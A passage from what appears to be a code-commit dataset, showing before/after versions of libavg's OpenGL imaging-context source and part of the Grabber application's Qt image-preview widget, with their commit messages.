ZeroMemory(&pfd, sizeof(pfd));\n pfd.nSize = sizeof(pfd);\n pfd.nVersion = 1;\n pfd.dwFlags = PFD_SUPPORT_OPENGL | PFD_DRAW_TO_WINDOW;\n pfd.iPixelType = PFD_TYPE_RGBA;\n pfd.cColorBits = 32;\n pfd.cDepthBits = 32;\n pfd.iLayerType = PFD_MAIN_PLANE;\n \n int iFormat = ChoosePixelFormat(m_hDC, &pfd);\n winOGLErrorCheck(iFormat != 0, \"ChoosePixelFormat\");\n SetPixelFormat(m_hDC, iFormat, &pfd);\n m_Context = wglCreateContext(m_hDC);\n winOGLErrorCheck(m_Context != 0, \"wglCreateContext\");\n\n BOOL bOK = wglMakeCurrent(m_hDC, m_Context);\n winOGLErrorCheck(bOK, \"wglMakeCurrent\");\n#endif\n#endif\n#endif\n glproc::init();\n\n if (!isSupported()) {\n throw Exception(AVG_ERR_VIDEO_GENERAL, \n \"GPU imaging not supported by current OpenGL configuration.\");\n }\n\n \/\/ Coordinates\n setSize(size);\n\n \/\/ Shading etc.\n glDisable(GL_BLEND);\n OGLErrorCheck(AVG_ERR_VIDEO_GENERAL, \"glDisable(GL_BLEND)\");\n glShadeModel(GL_FLAT);\n OGLErrorCheck(AVG_ERR_VIDEO_GENERAL, \"glShadeModel(GL_FLAT)\");\n glDisable(GL_DEPTH_TEST);\n OGLErrorCheck(AVG_ERR_VIDEO_GENERAL, \"glDisable(GL_DEPTH_TEST)\");\n glDisable(GL_STENCIL_TEST);\n OGLErrorCheck(AVG_ERR_VIDEO_GENERAL, \"glDisable(GL_STENCIL_TEST)\");\n\n \/\/ Texturing\n glTexEnvf(GL_TEXTURE_ENV, GL_TEXTURE_ENV_MODE, GL_REPLACE); \n OGLErrorCheck(AVG_ERR_VIDEO_GENERAL, \"glTexEnvf()\");\n glBlendFunc(GL_ONE, GL_ZERO);\n OGLErrorCheck(AVG_ERR_VIDEO_GENERAL, \"glBlendFunc()\");\n glEnable(GL_TEXTURE_RECTANGLE_ARB);\n OGLErrorCheck(AVG_ERR_VIDEO_GENERAL, \"glEnable(GL_TEXTURE_RECTANGLE_ARB);\");\n glDisable(GL_MULTISAMPLE);\n OGLErrorCheck(AVG_ERR_VIDEO_GENERAL, \"glDisable(GL_MULTISAMPLE);\");\n\n glPixelStorei(GL_UNPACK_ALIGNMENT, 1);\n glPixelStorei(GL_PACK_ALIGNMENT, 1);\n glEnableClientState(GL_VERTEX_ARRAY);\n glEnableClientState(GL_TEXTURE_COORD_ARRAY);\n}\n\nOGLImagingContext::~OGLImagingContext()\n{\n#ifdef __APPLE__\n if (m_Context) {\n aglSetCurrentContext(0);\n aglDestroyContext(m_Context);\n m_Context = 0;\n }\n#endif\n#ifdef _WIN32\n if (m_Context) {\n wglDeleteContext(m_Context);\n DeleteDC(m_hDC);\n DestroyWindow(m_hwnd);\n }\n#endif\n}\n\nvoid OGLImagingContext::activate()\n{\n#ifdef __APPLE__\n bool bOk = aglSetCurrentContext(m_Context);\n assert(bOk);\n#else\n#endif\n#ifdef _WIN32\n\twglDeleteContext( m_Context );\n#endif\n\n}\n\nvoid OGLImagingContext::setSize(const IntPoint& size)\n{\n m_Size = size;\n glViewport(0, 0, m_Size.x, m_Size.y);\n OGLErrorCheck(AVG_ERR_VIDEO_GENERAL, \"glViewport()\");\n glMatrixMode(GL_PROJECTION);\n OGLErrorCheck(AVG_ERR_VIDEO_GENERAL, \"glMatrixMode()\");\n glLoadIdentity();\n OGLErrorCheck(AVG_ERR_VIDEO_GENERAL, \"glLoadIdentity()\");\n gluOrtho2D(0, m_Size.x, m_Size.y, 0);\n OGLErrorCheck(AVG_ERR_VIDEO_GENERAL, \"gluOrtho2D()\");\n glMatrixMode(GL_MODELVIEW);\n glLoadIdentity();\n OGLErrorCheck(AVG_ERR_VIDEO_GENERAL, \"glLoadIdentity()\");\n}\n\nbool OGLImagingContext::isSupported()\n{\n int glMajorVer;\n int glMinorVer;\n int slMajorVer;\n int slMinorVer;\n getGLVersion(glMajorVer, glMinorVer);\n getGLShadingLanguageVersion(slMajorVer, slMinorVer);\n \/\/ Not sure if we need shader version 1.2 as well - we'll see.\n return (glMajorVer > 1 && queryOGLExtension(\"GL_ARB_texture_rectangle\") && \n queryOGLExtension(\"GL_ARB_pixel_buffer_object\") &&\n queryOGLExtension(\"GL_EXT_framebuffer_object\"));\n}\n\n}\n\n<commit_msg>Error instead of segfault in testgpu if X display is not available.<commit_after>\/\/\n\/\/ libavg - Media Playback Engine. \n\/\/ Copyright (C) 2003-2008 Ulrich von Zadow\n\/\/\n\/\/ This library is free software; you can redistribute it and\/or\n\/\/ modify it under the terms of the GNU Lesser General Public\n\/\/ License as published by the Free Software Foundation; either\n\/\/ version 2 of the License, or (at your option) any later version.\n\/\/\n\/\/ This library is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n\/\/ Lesser General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU Lesser General Public\n\/\/ License along with this library; if not, write to the Free Software\n\/\/ Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\n\/\/\n\/\/ Current versions can be found at www.libavg.de\n\/\/\n\n#include \"OGLImagingContext.h\"\n\n#include \"..\/base\/Exception.h\"\n\n#include <assert.h>\n#include <iostream>\n\nnamespace avg {\n\nusing namespace std;\n\n#ifdef _WIN32\nLONG WINAPI imagingWindowProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)\n{ \n return DefWindowProc(hwnd, msg, wParam, lParam); \n} \n\nvoid registerWindowClass()\n{\n static char * pClassName;\n if (pClassName) {\n return;\n }\n pClassName = \"GLUT\";\n\n HINSTANCE hInstance = GetModuleHandle(NULL);\n WNDCLASS wc;\n memset(&wc, 0, sizeof(WNDCLASS));\n wc.style = CS_OWNDC;\n wc.lpfnWndProc = (WNDPROC)imagingWindowProc;\n wc.hInstance = hInstance;\n wc.hIcon = LoadIcon(NULL, IDI_WINLOGO);\n wc.hCursor = LoadCursor(hInstance, IDC_ARROW);\n wc.hbrBackground = NULL;\n wc.lpszMenuName = NULL;\n wc.lpszClassName = pClassName;\n \n BOOL bOK = RegisterClass(&wc);\n assert(bOK);\n}\n#endif\n\nOGLImagingContext::OGLImagingContext(const IntPoint & size)\n{\n#ifdef __APPLE__\n GLint attributes[] = {AGL_RGBA, AGL_ALL_RENDERERS,AGL_NONE};\n AGLPixelFormat format;\n format = aglChoosePixelFormat(NULL, 0, attributes);\n assert(format);\n\n m_Context = aglCreateContext(format, NULL);\n assert(m_Context);\n aglDestroyPixelFormat(format);\n\n bool bOk = aglSetCurrentContext(m_Context);\n assert (bOk);\n#else\n#ifdef linux\n Display *dpy;\n dpy = XOpenDisplay(0);\n if (!dpy) {\n throw Exception(AVG_ERR_VIDEO_GENERAL, \"No X windows display available.\");\n }\n XVisualInfo *vi;\n static int attributes[] = {GLX_RGBA, 0};\n vi = glXChooseVisual(dpy, DefaultScreen(dpy), attributes);\n m_Context = glXCreateContext(dpy, vi, 0, GL_TRUE);\n assert(m_Context);\n Pixmap pmp = XCreatePixmap(dpy, RootWindow(dpy, vi->screen),\n 8, 8, vi->depth);\n GLXPixmap pixmap = glXCreateGLXPixmap(dpy, vi, pmp);\n glXMakeCurrent(dpy, pixmap, m_Context);\n#else\n#ifdef _WIN32\n registerWindowClass();\n m_hwnd = CreateWindow(\"GLUT\", \"GLUT\",\n WS_CLIPSIBLINGS | WS_CLIPCHILDREN,\n 0, 0, 500, 300, 0, 0, GetModuleHandle(NULL), 0);\n winOGLErrorCheck(m_hDC != 0, \"CreateWindow\");\n \n m_hDC = GetDC(m_hwnd);\n winOGLErrorCheck(m_hDC != 0, \"GetDC\");\n\n PIXELFORMATDESCRIPTOR pfd;\n ZeroMemory(&pfd, sizeof(pfd));\n pfd.nSize = sizeof(pfd);\n pfd.nVersion = 1;\n pfd.dwFlags = PFD_SUPPORT_OPENGL | PFD_DRAW_TO_WINDOW;\n pfd.iPixelType = PFD_TYPE_RGBA;\n pfd.cColorBits = 32;\n pfd.cDepthBits = 32;\n pfd.iLayerType = PFD_MAIN_PLANE;\n \n int iFormat = ChoosePixelFormat(m_hDC, &pfd);\n winOGLErrorCheck(iFormat != 0, \"ChoosePixelFormat\");\n SetPixelFormat(m_hDC, iFormat, &pfd);\n m_Context = wglCreateContext(m_hDC);\n winOGLErrorCheck(m_Context != 0, \"wglCreateContext\");\n\n BOOL bOK = wglMakeCurrent(m_hDC, m_Context);\n winOGLErrorCheck(bOK, \"wglMakeCurrent\");\n#endif\n#endif\n#endif\n glproc::init();\n\n if (!isSupported()) {\n throw Exception(AVG_ERR_VIDEO_GENERAL, \n \"GPU imaging not supported by current OpenGL configuration.\");\n }\n\n \/\/ Coordinates\n setSize(size);\n\n \/\/ Shading etc.\n glDisable(GL_BLEND);\n OGLErrorCheck(AVG_ERR_VIDEO_GENERAL, \"glDisable(GL_BLEND)\");\n glShadeModel(GL_FLAT);\n OGLErrorCheck(AVG_ERR_VIDEO_GENERAL, \"glShadeModel(GL_FLAT)\");\n glDisable(GL_DEPTH_TEST);\n OGLErrorCheck(AVG_ERR_VIDEO_GENERAL, \"glDisable(GL_DEPTH_TEST)\");\n glDisable(GL_STENCIL_TEST);\n OGLErrorCheck(AVG_ERR_VIDEO_GENERAL, \"glDisable(GL_STENCIL_TEST)\");\n\n \/\/ Texturing\n glTexEnvf(GL_TEXTURE_ENV, GL_TEXTURE_ENV_MODE, GL_REPLACE); \n OGLErrorCheck(AVG_ERR_VIDEO_GENERAL, \"glTexEnvf()\");\n glBlendFunc(GL_ONE, GL_ZERO);\n OGLErrorCheck(AVG_ERR_VIDEO_GENERAL, \"glBlendFunc()\");\n glEnable(GL_TEXTURE_RECTANGLE_ARB);\n OGLErrorCheck(AVG_ERR_VIDEO_GENERAL, \"glEnable(GL_TEXTURE_RECTANGLE_ARB);\");\n glDisable(GL_MULTISAMPLE);\n OGLErrorCheck(AVG_ERR_VIDEO_GENERAL, \"glDisable(GL_MULTISAMPLE);\");\n\n glPixelStorei(GL_UNPACK_ALIGNMENT, 1);\n glPixelStorei(GL_PACK_ALIGNMENT, 1);\n glEnableClientState(GL_VERTEX_ARRAY);\n glEnableClientState(GL_TEXTURE_COORD_ARRAY);\n}\n\nOGLImagingContext::~OGLImagingContext()\n{\n#ifdef __APPLE__\n if (m_Context) {\n aglSetCurrentContext(0);\n aglDestroyContext(m_Context);\n m_Context = 0;\n }\n#endif\n#ifdef _WIN32\n if (m_Context) {\n wglDeleteContext(m_Context);\n DeleteDC(m_hDC);\n DestroyWindow(m_hwnd);\n }\n#endif\n}\n\nvoid OGLImagingContext::activate()\n{\n#ifdef __APPLE__\n bool bOk = aglSetCurrentContext(m_Context);\n assert(bOk);\n#else\n#endif\n#ifdef _WIN32\n\twglDeleteContext( m_Context );\n#endif\n\n}\n\nvoid OGLImagingContext::setSize(const IntPoint& size)\n{\n m_Size = size;\n glViewport(0, 0, m_Size.x, m_Size.y);\n OGLErrorCheck(AVG_ERR_VIDEO_GENERAL, \"glViewport()\");\n glMatrixMode(GL_PROJECTION);\n OGLErrorCheck(AVG_ERR_VIDEO_GENERAL, \"glMatrixMode()\");\n glLoadIdentity();\n OGLErrorCheck(AVG_ERR_VIDEO_GENERAL, \"glLoadIdentity()\");\n gluOrtho2D(0, m_Size.x, m_Size.y, 0);\n OGLErrorCheck(AVG_ERR_VIDEO_GENERAL, \"gluOrtho2D()\");\n glMatrixMode(GL_MODELVIEW);\n glLoadIdentity();\n OGLErrorCheck(AVG_ERR_VIDEO_GENERAL, \"glLoadIdentity()\");\n}\n\nbool OGLImagingContext::isSupported()\n{\n int glMajorVer;\n int glMinorVer;\n int slMajorVer;\n int slMinorVer;\n getGLVersion(glMajorVer, glMinorVer);\n getGLShadingLanguageVersion(slMajorVer, slMinorVer);\n \/\/ Not sure if we need shader version 1.2 as well - we'll see.\n return (glMajorVer > 1 && queryOGLExtension(\"GL_ARB_texture_rectangle\") && \n queryOGLExtension(\"GL_ARB_pixel_buffer_object\") &&\n queryOGLExtension(\"GL_EXT_framebuffer_object\"));\n}\n\n}\n\n<|endoftext|>"} {"text":"<commit_before>#include \"tabs\/image-preview.h\"\n#include <QDir>\n#include <QEventLoop>\n#include <QFile>\n#include <QFileDialog>\n#include <QLabel>\n#include <QMenu>\n#include <QMovie>\n#include <QRandomGenerator>\n#include <QSettings>\n#include <QtMath>\n#include <QUrl>\n#include <QVBoxLayout>\n#include <QWidget>\n#include \"downloader\/download-queue.h\"\n#include \"downloader\/image-downloader.h\"\n#include \"functions.h\"\n#include \"helpers.h\"\n#include \"image-context-menu.h\"\n#include \"logger.h\"\n#include \"models\/image.h\"\n#include \"models\/profile.h\"\n#include \"models\/site.h\"\n#include \"network\/network-reply.h\"\n#include \"ui\/QBouton.h\"\n\n\nQMovie *ImagePreview::m_loadingMovie = nullptr;\n\nImagePreview::ImagePreview(QSharedPointer<Image> image, QWidget *container, Profile *profile, DownloadQueue *downloadQueue, MainWindow *mainWindow, QObject *parent)\n\t: QObject(parent), m_image(image), m_container(container), m_profile(profile), m_downloadQueue(downloadQueue), m_mainWindow(mainWindow)\n{\n\tm_thumbnailUrl = image->url(Image::Size::Thumbnail);\n\tm_name = image->name();\n\tm_childrenCount = image->counter().toInt();\n\n\tauto *layout = new QVBoxLayout();\n\tlayout->setContentsMargins(0, 0, 0, 0);\n\tcontainer->setLayout(layout);\n\n\tcontainer->setContextMenuPolicy(Qt::CustomContextMenu);\n\tconnect(container, &QWidget::customContextMenuRequested, this, &ImagePreview::customContextMenuRequested);\n}\n\nImagePreview::~ImagePreview()\n{\n\tm_reply->deleteLater();\n\tm_reply = nullptr;\n}\n\n\nvoid ImagePreview::showLoadingMessage()\n{\n\tif (m_loadingMovie == nullptr) {\n\t\tauto *loadingMovie = new QMovie(\":\/images\/loading.gif\");\n\t\tif (m_loadingMovie == nullptr) {\n\t\t\tm_loadingMovie = loadingMovie;\n\t\t\tm_loadingMovie->start();\n\t\t} else {\n\t\t\tloadingMovie->deleteLater();\n\t\t}\n\t}\n\n\tauto *loadingLabel = new QLabel();\n\tloadingLabel->setMovie(m_loadingMovie);\n\tloadingLabel->setAlignment(Qt::AlignHCenter | Qt::AlignVCenter);\n\tloadingLabel->setScaledContents(true);\n\n\tauto *layout = m_container->layout();\n\tlayout->addWidget(loadingLabel);\n}\n\nvoid ImagePreview::load()\n{\n\tif (m_thumbnailUrl.isValid()) {\n\t\tif (m_reply != nullptr) {\n\t\t\tm_reply->deleteLater();\n\t\t} else {\n\t\t\tshowLoadingMessage();\n\t\t}\n\n\t\tSite *site = m_image->parentSite();\n\t\tm_reply = site->get(site->fixUrl(m_thumbnailUrl.toString()), Site::QueryType::Thumbnail, m_image->parentUrl(), \"preview\");\n\t\tconnect(m_reply, &NetworkReply::finished, this, &ImagePreview::finishedLoadingPreview);\n\t} else {\n\t\tfinishedLoading();\n\t}\n}\n\nvoid ImagePreview::abort()\n{\n\tm_aborted = true;\n\tif (m_reply->isRunning()) {\n\t\tm_reply->abort();\n\t}\n}\n\nvoid ImagePreview::setChecked(bool checked)\n{\n\tm_checked = checked;\n\n\tif (m_bouton != nullptr) {\n\t\tm_bouton->setChecked(checked);\n\t}\n}\n\nvoid ImagePreview::setDownloadProgress(qint64 v1, qint64 v2)\n{\n\tif (m_bouton != nullptr) {\n\t\tm_bouton->setProgress(v1, v2);\n\t}\n}\n\n\nvoid ImagePreview::finishedLoadingPreview()\n{\n\tif (m_aborted) {\n\t\treturn;\n\t}\n\n\t\/\/ Aborted\n\tif (m_reply->error() == NetworkReply::NetworkError::OperationCanceledError) {\n\t\treturn;\n\t}\n\n\t\/\/ Check redirection\n\tQUrl redirection = m_reply->attribute(QNetworkRequest::RedirectionTargetAttribute).toUrl();\n\tif (!redirection.isEmpty()) {\n\t\tm_thumbnailUrl = redirection;\n\t\tload();\n\t\treturn;\n\t}\n\n\t\/\/ Loading error\n\tif (m_reply->error() != NetworkReply::NetworkError::NoError) {\n\t\tconst QString ext = getExtension(m_reply->url());\n\t\tif (ext != \"jpg\") {\n\t\t\tlog(QStringLiteral(\"Error loading thumbnail (%1), new try with extension JPG\").arg(m_reply->errorString()), Logger::Warning);\n\t\t\tm_thumbnailUrl = setExtension(m_reply->url(), \"jpg\");\n\t\t\tload();\n\t\t} else {\n\t\t\tlog(QStringLiteral(\"Error loading thumbnail (%1)\").arg(m_reply->errorString()), Logger::Error);\n\t\t}\n\t\treturn;\n\t}\n\n\t\/\/ Load preview from result\n\tQPixmap thumbnail;\n\tthumbnail.loadFromData(m_reply->readAll());\n\tif (thumbnail.isNull()) {\n\t\tlog(QStringLiteral(\"One of the thumbnails is empty (`%1`).\").arg(m_image->url(Image::Size::Thumbnail).toString()), Logger::Error);\n\t\tif (m_image->hasTag(QStringLiteral(\"flash\"))) {\n\t\t\tthumbnail.load(QStringLiteral(\":\/images\/flash.png\"));\n\t\t} else {\n\t\t\treturn;\n\t\t}\n\t}\n\tm_image->setPreviewImage(thumbnail);\n\n\tfinishedLoading();\n}\n\nvoid ImagePreview::finishedLoading()\n{\n\tauto *layout = m_container->layout();\n\n\tclearLayout(layout);\n\n\tif (m_reply != nullptr) {\n\t\tQSettings *settings = m_profile->getSettings();\n\t\tconst bool resizeInsteadOfCropping = settings->value(\"resizeInsteadOfCropping\", true).toBool();\n\t\tconst bool resultsScrollArea = settings->value(\"resultsScrollArea\", true).toBool();\n\t\tconst int borderSize = settings->value(\"borders\", 3).toInt();\n\t\tconst qreal upscale = settings->value(\"thumbnailUpscale\", 1.0).toDouble();\n\t\tconst int imageSize = qFloor(150 * upscale);\n\n\t\tQBouton *l = new QBouton(0, resizeInsteadOfCropping, resultsScrollArea, borderSize, m_image->color(), m_container);\n\t\tl->setCheckable(true);\n\t\tl->setFlat(true);\n\t\tl->setChecked(m_checked);\n\t\tl->setInvertToggle(settings->value(\"invertToggle\", false).toBool());\n\t\tl->setToolTip(m_image->tooltip());\n\n\t\tconst QPixmap &thumbnail = m_image->previewImage();\n\t\tif (thumbnail.isNull()) {\n\t\t\tl->scale(QPixmap(\":\/images\/noimage.png\"), QSize(imageSize, imageSize));\n\t\t} else {\n\t\t\tl->scale(thumbnail, QSize(imageSize, imageSize));\n\t\t}\n\t\tif (m_childrenCount > 0) {\n\t\t\tl->setCounter(QString::number(m_childrenCount));\n\t\t}\n\n\t\tconnect(l, SIGNAL(appui(int)), this, SIGNAL(clicked()));\n\t\tconnect(l, SIGNAL(toggled(int, bool, bool)), this, SLOT(toggledWithId(int, bool, bool)));\n\n\t\tlayout->addWidget(l);\n\t\tm_bouton = l;\n\t}\n\n\tif (!m_name.isEmpty()) {\n\t\tlayout->addWidget(new QLabel(m_name));\n\t}\n\n\temit finished();\n}\n\nvoid ImagePreview::toggledWithId(int id, bool toggle, bool range)\n{\n\tQ_UNUSED(id);\n\n\temit toggled(toggle, range);\n}\n\n\nQStringList getImageAlreadyExists(const QSharedPointer<Image> &img, Profile *profile)\n{\n\tQSettings *settings = profile->getSettings();\n\tconst QString path = settings->value(\"Save\/path\").toString().replace(\"\\\\\", \"\/\");\n\tconst QString fn = settings->value(\"Save\/filename\").toString();\n\n\tif (Filename(fn).needExactTags(img->parentSite(), settings) == 0) {\n\t\tQStringList ret;\n\t\tQStringList files = img->paths(fn, path, 0);\n\t\tfor (const QString &file : files) {\n\t\t\tif (QFile(file).exists()) {\n\t\t\t\tret.append(file);\n\t\t\t}\n\t\t}\n\t\tif (!ret.isEmpty()) {\n\t\t\treturn ret;\n\t\t}\n\t}\n\n\treturn profile->md5Exists(img->md5());\n}\n\nvoid ImagePreview::customContextMenuRequested()\n{\n\tQMenu *menu = new ImageContextMenu(m_profile->getSettings(), m_image, m_mainWindow, m_container);\n\tQAction *first = menu->actions().first();\n\n\t\/\/ Save image\n\tQAction *actionSave;\n\tif (!getImageAlreadyExists(m_image, m_profile).isEmpty()) {\n\t\tactionSave = new QAction(QIcon(\":\/images\/status\/error.png\"), tr(\"Delete\"), menu);\n\t} else {\n\t\tactionSave = new QAction(QIcon(\":\/images\/icons\/save.png\"), tr(\"Save\"), menu);\n\t}\n\tconnect(actionSave, &QAction::triggered, this, &ImagePreview::contextSaveImage);\n\tmenu->insertAction(first, actionSave);\n\n\t\/\/ Save image as...\n\tQAction *actionSaveAs = new QAction(QIcon(\":\/images\/icons\/save-as.png\"), tr(\"Save as...\"), menu);\n\tconnect(actionSaveAs, &QAction::triggered, this, &ImagePreview::contextSaveImageAs);\n\tmenu->insertAction(first, actionSaveAs);\n\n\t\/\/ Custom elements\n\tif (m_customContextMenu != nullptr) {\n\t\tm_customContextMenu(menu, m_image);\n\t}\n\n\tmenu->insertSeparator(first);\n\n\tmenu->exec(QCursor::pos());\n}\n\nvoid ImagePreview::contextSaveImage()\n{\n\tQStringList already = getImageAlreadyExists(m_image, m_profile);\n\tif (!already.isEmpty()) {\n\t\tfor (const QString &path : already) {\n\t\t\tQFile(path).remove();\n\t\t\tm_profile->removeMd5(m_image->md5(), path);\n\t\t}\n\t} else {\n\t\tQSettings *settings = m_profile->getSettings();\n\t\tconst QString fn = settings->value(\"Save\/filename\").toString();\n\t\tconst QString path = settings->value(\"Save\/path\").toString();\n\n\t\tauto downloader = new ImageDownloader(m_profile, m_image, fn, path, 1, true, true, m_downloadQueue);\n\t\tconnect(downloader, &ImageDownloader::downloadProgress, this, &ImagePreview::contextSaveImageProgress);\n\t\tm_downloadQueue->add(DownloadQueue::Manual, downloader);\n\t}\n}\n\nvoid ImagePreview::contextSaveImageAs()\n{\n\tQSettings *settings = m_profile->getSettings();\n\n\tFilename format(settings->value(\"Save\/filename\").toString());\n\tQString tmpPath;\n\n\t\/\/ If the MD5 is required for the filename, we first download the image\n\tif (format.needTemporaryFile(m_image->tokens(m_profile))) {\n\t\ttmpPath = QDir::temp().absoluteFilePath(\"grabber-saveAs-\" + QString::number(QRandomGenerator::global()->generate(), 16));\n\n\t\tQEventLoop loop;\n\t\tImageDownloader downloader(m_profile, m_image, { tmpPath }, 1, true, true, this);\n\t\tconnect(&downloader, &ImageDownloader::saved, &loop, &QEventLoop::quit);\n\t\tdownloader.save();\n\t\tloop.exec();\n\t}\n\n\tconst QStringList filenames = format.path(*m_image, m_profile);\n\tconst QString filename = filenames.first().section(QDir::separator(), -1);\n\tconst QString lastDir = settings->value(\"Zoom\/lastDir\").toString();\n\n\tQString path = QFileDialog::getSaveFileName(m_container, tr(\"Save image\"), QDir::toNativeSeparators(lastDir + \"\/\" + filename), \"Images (*.png *.gif *.jpg *.jpeg)\");\n\tif (!path.isEmpty()) {\n\t\tpath = QDir::toNativeSeparators(path);\n\t\tsettings->setValue(\"Zoom\/lastDir\", path.section(QDir::separator(), 0, -2));\n\n\t\tif (!tmpPath.isEmpty()) {\n\t\t\tQFile::rename(tmpPath, path);\n\t\t} else {\n\t\t\tauto downloader = new ImageDownloader(m_profile, m_image, { path }, 1, true, true, this, true, false, Image::Size::Unknown, true, true);\n\t\t\tconnect(downloader, &ImageDownloader::downloadProgress, this, &ImagePreview::contextSaveImageProgress);\n\t\t\tm_downloadQueue->add(DownloadQueue::Manual, downloader);\n\t\t}\n\t} else if (!tmpPath.isEmpty()) {\n\t\tQFile::remove(tmpPath);\n\t}\n}\n\nvoid ImagePreview::contextSaveImageProgress(const QSharedPointer<Image> &img, qint64 v1, qint64 v2)\n{\n\tQ_UNUSED(img);\n\tsetDownloadProgress(v1, v2);\n}\n\nvoid ImagePreview::setCustomContextMenu(std::function<void (QMenu *, const QSharedPointer<Image> &)> customContextMenu)\n{\n\tm_customContextMenu = customContextMenu;\n}\n<commit_msg>Load tags before 'save as...' when necessary (fix #2234)<commit_after>#include \"tabs\/image-preview.h\"\n#include <QDir>\n#include <QEventLoop>\n#include <QFile>\n#include <QFileDialog>\n#include <QLabel>\n#include <QMenu>\n#include <QMovie>\n#include <QRandomGenerator>\n#include <QSettings>\n#include <QtMath>\n#include <QUrl>\n#include <QVBoxLayout>\n#include <QWidget>\n#include \"downloader\/download-queue.h\"\n#include \"downloader\/image-downloader.h\"\n#include \"functions.h\"\n#include \"helpers.h\"\n#include \"image-context-menu.h\"\n#include \"logger.h\"\n#include \"models\/image.h\"\n#include \"models\/profile.h\"\n#include \"models\/site.h\"\n#include \"network\/network-reply.h\"\n#include \"ui\/QBouton.h\"\n\n\nQMovie *ImagePreview::m_loadingMovie = nullptr;\n\nImagePreview::ImagePreview(QSharedPointer<Image> image, QWidget *container, Profile *profile, DownloadQueue *downloadQueue, MainWindow *mainWindow, QObject *parent)\n\t: QObject(parent), m_image(image), m_container(container), m_profile(profile), m_downloadQueue(downloadQueue), m_mainWindow(mainWindow)\n{\n\tm_thumbnailUrl = image->url(Image::Size::Thumbnail);\n\tm_name = image->name();\n\tm_childrenCount = image->counter().toInt();\n\n\tauto *layout = new QVBoxLayout();\n\tlayout->setContentsMargins(0, 0, 0, 0);\n\tcontainer->setLayout(layout);\n\n\tcontainer->setContextMenuPolicy(Qt::CustomContextMenu);\n\tconnect(container, &QWidget::customContextMenuRequested, this, &ImagePreview::customContextMenuRequested);\n}\n\nImagePreview::~ImagePreview()\n{\n\tm_reply->deleteLater();\n\tm_reply = nullptr;\n}\n\n\nvoid ImagePreview::showLoadingMessage()\n{\n\tif (m_loadingMovie == nullptr) {\n\t\tauto *loadingMovie = new QMovie(\":\/images\/loading.gif\");\n\t\tif (m_loadingMovie == nullptr) {\n\t\t\tm_loadingMovie = loadingMovie;\n\t\t\tm_loadingMovie->start();\n\t\t} else {\n\t\t\tloadingMovie->deleteLater();\n\t\t}\n\t}\n\n\tauto *loadingLabel = new QLabel();\n\tloadingLabel->setMovie(m_loadingMovie);\n\tloadingLabel->setAlignment(Qt::AlignHCenter | Qt::AlignVCenter);\n\tloadingLabel->setScaledContents(true);\n\n\tauto *layout = m_container->layout();\n\tlayout->addWidget(loadingLabel);\n}\n\nvoid ImagePreview::load()\n{\n\tif (m_thumbnailUrl.isValid()) {\n\t\tif (m_reply != nullptr) {\n\t\t\tm_reply->deleteLater();\n\t\t} else {\n\t\t\tshowLoadingMessage();\n\t\t}\n\n\t\tSite *site = m_image->parentSite();\n\t\tm_reply = site->get(site->fixUrl(m_thumbnailUrl.toString()), Site::QueryType::Thumbnail, m_image->parentUrl(), \"preview\");\n\t\tconnect(m_reply, &NetworkReply::finished, this, &ImagePreview::finishedLoadingPreview);\n\t} else {\n\t\tfinishedLoading();\n\t}\n}\n\nvoid ImagePreview::abort()\n{\n\tm_aborted = true;\n\tif (m_reply->isRunning()) {\n\t\tm_reply->abort();\n\t}\n}\n\nvoid ImagePreview::setChecked(bool checked)\n{\n\tm_checked = checked;\n\n\tif (m_bouton != nullptr) {\n\t\tm_bouton->setChecked(checked);\n\t}\n}\n\nvoid ImagePreview::setDownloadProgress(qint64 v1, qint64 v2)\n{\n\tif (m_bouton != nullptr) {\n\t\tm_bouton->setProgress(v1, v2);\n\t}\n}\n\n\nvoid ImagePreview::finishedLoadingPreview()\n{\n\tif (m_aborted) {\n\t\treturn;\n\t}\n\n\t\/\/ Aborted\n\tif (m_reply->error() == NetworkReply::NetworkError::OperationCanceledError) {\n\t\treturn;\n\t}\n\n\t\/\/ Check redirection\n\tQUrl redirection = m_reply->attribute(QNetworkRequest::RedirectionTargetAttribute).toUrl();\n\tif (!redirection.isEmpty()) {\n\t\tm_thumbnailUrl = redirection;\n\t\tload();\n\t\treturn;\n\t}\n\n\t\/\/ Loading error\n\tif (m_reply->error() != NetworkReply::NetworkError::NoError) {\n\t\tconst QString ext = getExtension(m_reply->url());\n\t\tif (ext != \"jpg\") {\n\t\t\tlog(QStringLiteral(\"Error loading thumbnail (%1), new try with extension JPG\").arg(m_reply->errorString()), Logger::Warning);\n\t\t\tm_thumbnailUrl = setExtension(m_reply->url(), \"jpg\");\n\t\t\tload();\n\t\t} else {\n\t\t\tlog(QStringLiteral(\"Error loading thumbnail (%1)\").arg(m_reply->errorString()), Logger::Error);\n\t\t}\n\t\treturn;\n\t}\n\n\t\/\/ Load preview from result\n\tQPixmap thumbnail;\n\tthumbnail.loadFromData(m_reply->readAll());\n\tif (thumbnail.isNull()) {\n\t\tlog(QStringLiteral(\"One of the thumbnails is empty (`%1`).\").arg(m_image->url(Image::Size::Thumbnail).toString()), Logger::Error);\n\t\tif (m_image->hasTag(QStringLiteral(\"flash\"))) {\n\t\t\tthumbnail.load(QStringLiteral(\":\/images\/flash.png\"));\n\t\t} else {\n\t\t\treturn;\n\t\t}\n\t}\n\tm_image->setPreviewImage(thumbnail);\n\n\tfinishedLoading();\n}\n\nvoid ImagePreview::finishedLoading()\n{\n\tauto *layout = m_container->layout();\n\n\tclearLayout(layout);\n\n\tif (m_reply != nullptr) {\n\t\tQSettings *settings = m_profile->getSettings();\n\t\tconst bool resizeInsteadOfCropping = settings->value(\"resizeInsteadOfCropping\", true).toBool();\n\t\tconst bool resultsScrollArea = settings->value(\"resultsScrollArea\", true).toBool();\n\t\tconst int borderSize = settings->value(\"borders\", 3).toInt();\n\t\tconst qreal upscale = settings->value(\"thumbnailUpscale\", 1.0).toDouble();\n\t\tconst int imageSize = qFloor(150 * upscale);\n\n\t\tQBouton *l = new QBouton(0, resizeInsteadOfCropping, resultsScrollArea, borderSize, m_image->color(), m_container);\n\t\tl->setCheckable(true);\n\t\tl->setFlat(true);\n\t\tl->setChecked(m_checked);\n\t\tl->setInvertToggle(settings->value(\"invertToggle\", false).toBool());\n\t\tl->setToolTip(m_image->tooltip());\n\n\t\tconst QPixmap &thumbnail = 